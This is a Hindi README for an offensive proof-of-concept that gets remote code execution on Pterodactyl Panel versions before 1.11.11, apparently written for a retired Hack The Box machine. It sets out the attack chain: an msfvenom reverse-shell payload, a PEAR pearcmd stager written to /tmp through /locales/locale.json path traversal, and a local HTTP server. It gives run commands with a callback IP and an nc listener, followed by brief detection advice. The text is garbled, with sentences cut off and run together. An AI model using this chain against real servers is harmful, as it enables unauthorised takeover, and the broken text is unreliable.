
इस रेपो में Pterodactyl htb मशीन के लिए RCE एक्सप्लॉइट शामिल है
केवल अधिकृत परीक्षण और रक्षात्मक सीखने के लिए।
यह रिपॉजिटरी नियंत्रित प्रयोगशाला वातावरण (जैसे, CTF/HTB-शैली सेटअप) के लिए है, जहां आप लक्ष्य के मालिक हैं या उसका परीक्षण करने की स्पष्ट लिखित अनुमति है।
इस रिपॉजिटरी में एक वास्तविक दुनिया की कमजोरी के लिए एक शैक्षिक पायथन प्रूफ-ऑफ-कॉन्सेप्ट (pterodactyl_rce.py) शामिल है, जो Pterodactyl Panel v1.11.11 से पहले के संस्करणों को प्रभावित करती है। कमजोर कॉन्फ़िगरेशन के तहत, एक अप्रमाणित हमलावर /locales/locale.json एंडपॉइंट के माध्यम से locale और namespace पैरामीटर के अनुचित हैंडलिंग के कारण रिमोट कोड एक्सीक्यूशन प्राप्त कर सकता है।
यह PoC वेरिएंट उन वातावरणों को लक्षित करता है जहां PHP-PEAR स्थापित है, और इसे सेवानिवृत्त Hack The Box मशीन Pterodactyl के विरुद्ध बनाया और मान्य किया गया था: https://app.hackthebox.com/machines/Pterodactyl। यह अन्य प्रयोगशाला सेटअपों में भी काम कर सकता है जहां समान शर्तें पूरी होती हैं।
24c82b0…)उच्च स्तर पर, PoC इन चरणों को जोड़ता है:
msfvenom के साथ एक Linux x64 रिवर्स TCP ELF पेलोड उत्पन्न करता है।/tmp में एक PHP "स्टेजर" लिखने के लिए कमजोर /locales/locale.json हैंडलिंग का दुरुपयोग करता है (PEAR pearcmd कॉन्फ़िग-क्रिएट ट्रिक के माध्यम से)।/tmp में डाउनलोड करे,स्क्रिप्ट "अपलोड" चरण के लिए curl के बजाय एक रॉ HTTP क्लाइंट का उपयोग करती है, क्योंकि कुछ उपकरण वर्णों को सामान्य या एनकोड कर सकते हैं, जो तैयार अनुरोध को तोड़ देता है।
नोट: यह README जानबूझकर रक्षात्मक/शैक्षिक स्तर पर रहता है। कोड का उपयोग केवल उन वातावरणों में करें जिनका परीक्षण करने की आपको अनुमति है।
msfvenom $PATH में उपलब्ध (Metasploit Framework)nc (नेटकैट) यदि आप चाहते हैं कि PoC एक ऑटो-लिसनर शुरू करेस्क्रिप्ट वर्तमान में स्रोत में एक पैनल HTB होस्टनाम की अपेक्षा करती है:
host = "panel.pterodactyl.htb"
इसके अतिरिक्त PHP-PEAR का हार्डकोडेड पथ पर सेट है: ../../../../../usr/share/php/PEAR।
यदि आप Pterodactyl बॉक्स के बाहर इसका परीक्षण कर रहे हैं, तो आपको इस पथ को अपने स्थानीय कॉन्फ़िगरेशन के अनुसार समायोजित करना होगा।
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: आपका कॉलबैक IP जो प्रयोगशाला सर्वर तक पहुंच योग्य हो<LPORT>: रिवर्स शेल प्राप्त करने के लिए पोर्टयदि आप अपना स्वयं का लिसनर चलाना पसंद करते हैं:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
फिर, दूसरे टर्मिनल में:
nc -lvnp <LPORT>
python3 pterodactyl_rce.py 10.10.14.225 5555
सामान्य प्रवाह:
shell_ab12cd34):8080 पर एक वन-शॉट HTTP सर्वर शुरू करता है/tmp/<random>.php के अंतर्गत एक PHP स्टेजर बनाता है
/tmp/<name>.php आर्टिफैक्ट्स को मैन्युअल रूप से हटाएं; अन्यथा, कुछ देर प्रतीक्षा करें और पुनः प्रयास करें।/locales/locale.json एंडपॉइंट को ब्लॉक कर सकते हैं, लेकिन यह स्थानीयकरण सुविधाओं को तोड़ सकता है।संदिग्ध अनुरोधों की तलाश करें जैसे:
/locales/locale.json पर असामान्य locale= ट्रैवर्सल अनुक्रम वाले अनुरोधnamespace= मान (अप्रत्याशित नाम, लंबे स्ट्रिंग, विषम वर्ण)/tmp/ में अचानक अप्रत्याशित फ़ाइलों का निर्माणवेब लॉग को सहसंबंधित करें:
www / PHP-FPM उपयोगकर्ता द्वारा उत्पन्न नई प्रक्रियाएंcurl/wget का अप्रत्याशित उपयोग